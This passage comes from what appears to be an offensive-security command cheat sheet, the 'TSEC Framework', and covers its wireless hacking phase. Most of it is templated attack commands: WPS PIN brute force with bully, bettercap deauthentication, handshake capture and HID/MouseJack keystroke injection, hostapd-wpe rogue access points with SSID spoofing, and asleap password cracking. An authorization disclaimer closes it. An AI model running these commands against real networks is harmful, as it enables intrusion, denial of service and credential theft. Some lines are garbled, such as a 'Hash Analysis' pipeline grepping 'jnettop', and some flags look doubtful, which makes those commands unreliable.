4	Custom PIN	bully -b {bssid} -c {channel} -p {pin} {interface} > /opt/tsec/output/10.6.4_bully_pin.txt	TXT
5	Session Restore	bully -b {bssid} -s {session_file} {interface} > /opt/tsec/output/10.6.5_bully_resume.txt	TXT
6	Brute Force	bully -b {bssid} -c {channel} -B {interface} > /opt/tsec/output/10.6.6_bully_brute.txt	TXT
7	No Random MAC	bully -b {bssid} -c {channel} -R {interface} > /opt/tsec/output/10.6.7_bully_norandom.txt	TXT
8	Wireless Retry	bully -b {bssid} -c {channel} -r {retries} {interface} > /opt/tsec/output/10.6.8_bully_retry.txt	TXT
9	Detect Mode	bully -b {bssid} -c {channel} -o /opt/tsec/output/10.6.9_bully_detect.txt {interface}	TXT
10	Full Attack	bully -b {bssid} -c {channel} -v 3 -F -B -o /opt/tsec/output/10.6.10_bully_full.txt {interface}	TXT

Tool 10.7 — Bettercap (Wireless)

Network attack and monitoring framework with wireless capabilities.

Mode	Name	Command	Output
1	WiFi Scan	<pre> bettercap -iface {interface} -eval 'wifi.recon on; wifi.show' > /opt/tsec/ output/ 10.7.1_bettercap_wifi.txt </pre>	TXT
2	PMKID Capture	<pre> bettercap -iface {interface} -eval 'wifi.recon on; wifi.assoc {bssid}' > /opt/ tsec/output/ 10.7.2_bettercap_pmkid.txt </pre>	TXT
3	Deauth Attack	<pre> bettercap -iface {interface} -eval 'wifi.recon on; wifi.deauth {bssid}' > /opt/ tsec/output/ 10.7.3_bettercap_deauth.txt </pre>	TXT
4	Handshake Capture	<pre> bettercap -iface {interface} -eval 'wifi.recon on; set wifi.handshakes.file /opt/ tsec/output/ 10.7.4_bettercap_handshakes.pcap' > /opt/tsec/output/ 10.7.4_bettercap_handshake.txt </pre>	TXT
5	BLE Scan	<pre> bettercap -eval 'ble.recon on; ble.show' > /opt/tsec/ output/ 10.7.5_bettercap_ble.txt </pre>	TXT
6	HID Injection	<pre> bettercap -eval 'hid.inject {script}' > /opt/tsec/output/ 10.7.6_bettercap_hid.txt </pre>	TXT
7	MouseJack	<pre> bettercap -eval 'hid.scan; hid.sniff; hid.inject {script}' > /opt/tsec/output/ 10.7.7_bettercap_mousejack.txt </pre>	TXT
8	Channel Hop	<pre> bettercap -iface {interface} -eval 'wifi.recon on; wifi.channel 1,6,11' > /opt/ tsec/output/ 10.7.8_bettercap_channel.txt </pre>	TXT
9	Save Capture	<pre> bettercap -iface {interface} -eval 'wifi.recon on; set wifi.handshakes.file /opt/ tsec/output/ 10.7.9_bettercap.pcap' > / opt/tsec/output/ 10.7.9_bettercap_save.txt </pre>	TXT

Table 97 – continued

Mode	Name	Command	Output
10	Full Assessment	<pre> bettercap -iface {interface} -eval 'wifi.recon on; wifi.channel 1,6,11; wifi.assoc all; set wifi.handshakes.file /opt/ tsec/output/ 10.7.10_bettercap_full.pcap' > /opt/tsec/output/ 10.7.10_bettercap_full.txt </pre>	TXT

Tool 10.8 — hostapd-wpe

Rogue access point for enterprise wireless attacks.

Mode	Name	Command	Output
1	Rogue AP	<pre> hostapd-wpe {config_file} > / opt/tsec/output/ 10.8.1_hostapd_rogue.log </pre>	LOG
2	SSID Spoof	<pre> sed -i 's/^ssid=.* / ssid={target_ssid}/' /etc/ hostapd-wpe/hostapd-wpe.conf && hostapd-wpe /etc/ hostapd-wpe/hostapd-wpe.conf > /opt/tsec/output/ 10.8.2_hostapd_spoof.log </pre>	LOG
3	Channel Setup	<pre> hostapd-wpe -c {channel} {config_file} > /opt/tsec/ output/ 10.8.3_hostapd_channel.log </pre>	LOG
4	KARMA Mode	<pre> hostapd-wpe --karma {config_file} > /opt/tsec/ output/ 10.8.4_hostapd_karma.log </pre>	LOG
5	EAP Mode	<pre> hostapd-wpe --eap {config_file} > /opt/tsec/ output/10.8.5_hostapd_eap.log </pre>	LOG
6	Log Output	<pre> hostapd-wpe -o /opt/tsec/ output/10.8.6_hostapd.log {config_file} </pre>	LOG
7	Certificate Config	<pre> hostapd-wpe --cert {cert_file} --key {key_file} {config} > /opt/tsec/output/ 10.8.7_hostapd_cert.log </pre>	LOG

Table 98 – continued

Mode	Name	Command	Output
8	Broadcast SSID	hostapd-wpe --broadcast {config_file} > /opt/tsec/ output/ 10.8.8_hostapd_broadcast.log	LOG
9	Hash Analysis	cat {log_file} \ grep 'jnettop' \ asleap -C {challenge} -R {response} -W {wordlist} > /opt/tsec/ output/ 10.8.9_hostapd_analysis.txt	TXT
10	Full Enterprise	hostapd-wpe --karma --eap -o /opt/tsec/output/ 10.8.10_hostapd_full.log {config} && asleap -C {chall} -R {resp} -W {wordlist} > / opt/tsec/output/ 10.8.10_hostapd_crack.txt	TXT

Tool 10.9 — asleap

LEAP and MS-CHAPv2 wireless authentication password recovery.

Mode	Name	Command	Output
1	Basic Crack	asleap -C {challenge} -R {response} -W {wordlist} > / opt/tsec/output/ 10.9.1_asleap_crack.txt	TXT
2	Generate Table	asleap -G -W {wordlist} -D / opt/tsec/output/ 10.9.2_asleap_table.dat > / opt/tsec/output/ 10.9.2_asleap_generate.txt	TXT
3	Table Lookup	asleap -C {challenge} -R {response} -D /opt/tsec/ output/ 10.9.2_asleap_table.dat > / opt/tsec/output/ 10.9.3_asleap_lookup.txt	TXT
4	Pcap Extract	asleap -r {capture}.pcap -W {wordlist} > /opt/tsec/ output/10.9.4_asleap_pcap.txt	TXT

Table 99 – continued

Mode	Name	Command	Output
5	SSID Filter	asleap -r {capture}.pcap -W {wordlist} -S {ssid} > /opt/tsec/output/10.9.5_asleap_ssid.txt	TXT
6	LEAP Attack	asleap -C {challenge} -R {response} -W {wordlist} -L > /opt/tsec/output/10.9.6_asleap_leap.txt	TXT
7	Verbose	asleap -C {challenge} -R {response} -W {wordlist} -v > /opt/tsec/output/10.9.7_asleap_verbose.txt	TXT
8	Multiple Wordlists	asleap -C {challenge} -R {response} -W {wordlist1} -W {wordlist2} > /opt/tsec/output/10.9.8_asleap_multi.txt	TXT
9	Pcap Batch	asleap -r {capture}.pcap -W {wordlist} -o /opt/tsec/output/10.9.9_asleap_batch.txt	TXT
10	Full Pipeline	asleap -r {capture}.pcap -W {wordlist} -D {precomputed} -o /opt/tsec/output/10.9.10_asleap_full.txt -v	TXT

Tool 10.10 — hcxdumptool

Packet capture from WLAN devices for hashcat cracking.

Mode	Name	Command	Output
1	Basic Capture	hcxdumptool -i {interface} -o /opt/tsec/output/10.10.1_hcxdump_basic.pcapng	PCAPNG
2	Status Display	hcxdumptool -i {interface} -o /opt/tsec/output/10.10.2_hcxdump_status.pcapng --enable_status=15	PCAPNG
3	AP Filter	hcxdumptool -i {iface} -o /opt/tsec/output/10.10.3_hcxdump_filter.pcapng --filterlist_ap={mac_file} --filtermode=2	PCAPNG

Table 100 – continued

Mode	Name	Command	Output
4	Active Beacon	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.10.4_hcxdump_beacon.pcapng --active_beacon	PCAPNG
5	Client Deauth	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.10.5_hcxdump_deauth.pcapng --enable_status=15 --bpf={bssid}	PCAPNG
6	Channel List	hcxdumptool - i {iface} -o /opt/tsec/output/ 10.10.6_hcxdump_channels.pcapng --channel=1,6,11	PCAPNG
7	Channel Assessment	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.10.7_hcxdump_assess.pcapng --do_rcascan	PCAPNG
8	Extended Status	hcxdumptool - i {iface} -o /opt/tsec/output/ 10.10.8_hcxdump_extended.pcapng --enable_status=63	PCAPNG
9	GPS Tracking	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.10.9_hcxdump_gps.pcapng --use_gpsd=localhost:2947	PCAPNG
10	Full Assessment	hcxdumptool -i {iface} -o / opt/tsec/output/ 10.10.10_hcxdump_full.pcapng --enable_status=15 --active_beacon --channel=1,6,11 && hcxpcapngtool -o /opt/tsec/ output/ 10.10.10_hcxconv_full.22000 / opt/tsec/output/ 10.10.10_hcxdump_full.pcapng	22000

Quick Reference Matrix

Command Index by Phase

Phase	Phase Name	Tool Count	Command Count	Primary Purpose
1	Reconnaissance	10	100	Passive/active intelligence gathering
2	Attack Surface Mapping	10	100	Network discovery and service enumeration
3	Vulnerability Assessment	10	100	Automated vulnerability scanning and validation
4	Payload Development & Delivery	10	100	Implant creation and payload delivery
5	Privilege Escalation	10	100	Elevating access rights on compromised systems
6	Credential Access	10	100	Stealing passwords, hashes, and Kerberos tickets
7	Lateral Movement	10	100	Moving between systems in the target network
8	Persistence & Defense Evasion	10	100	Maintaining access and avoiding detection
9	Actions on Objectives	10	100	Data collection, exfiltration, and impact
10	Wireless Hacking	10	100	Wi-Fi, Bluetooth, and RF security assessment

Tool Naming Convention

```
{Phase}.{Tool}.{Mode}
```

Example: 6.1.1 = Phase 6, Tool 1, Mode 1
(Credential Access, Mimikatz, Logon Passwords)

Output Naming Convention

```
/opt/tsec/output/{Phase}.{Tool}.{Mode}_{tool_name}_{target}.{ext}
```

Example: /opt/tsec/output/6.1.1_mimikatz_passwords.txt

Usage Notes

Prerequisites

- All tools must be installed and accessible in \$PATH
- Required directories must exist:

```
sudo mkdir -p /opt/tsec/{output,wordlists,scripts,configs,tools,projects}
```


Placeholder Variables

Placeholder	Description
{target}	Target IP address, hostname, or URL
{domain}	Target domain name
{lhost}	Attacker/listener IP address
{lport}	Attacker/listener port
{port}	Target port number
{interface}	Network interface (e.g., wlan0, eth0)
{wordlist}	Path to wordlist file
{user} / {username}	Username for authentication
{password}	Password for authentication
{hash} / {ntlm_hash}	Password hash for pass-the-hash
{payload}	Path to payload file
{shellcode}	Path to shellcode file
{bssid}	Wi-Fi access point MAC address
{channel}	Wi-Fi channel number
{session}	Active session identifier
{agent}	Empire/Mythic agent name
{pid}	Process ID

Important Disclaimers

WARNING: This framework is designed exclusively for authorized security testing.

- Unauthorized access to computer systems is illegal under various laws including the Computer Fraud and Abuse Act (CFAA)
- Always obtain written authorization before testing any system
- Use these tools only on systems you own or have explicit permission to test
- The authors assume no liability for misuse of this framework

The TSEC Framework — Version 1.0 Last Updated: 2026-06-29 Total Coverage: 10 Phases / 100 Tools / 1,000 Commands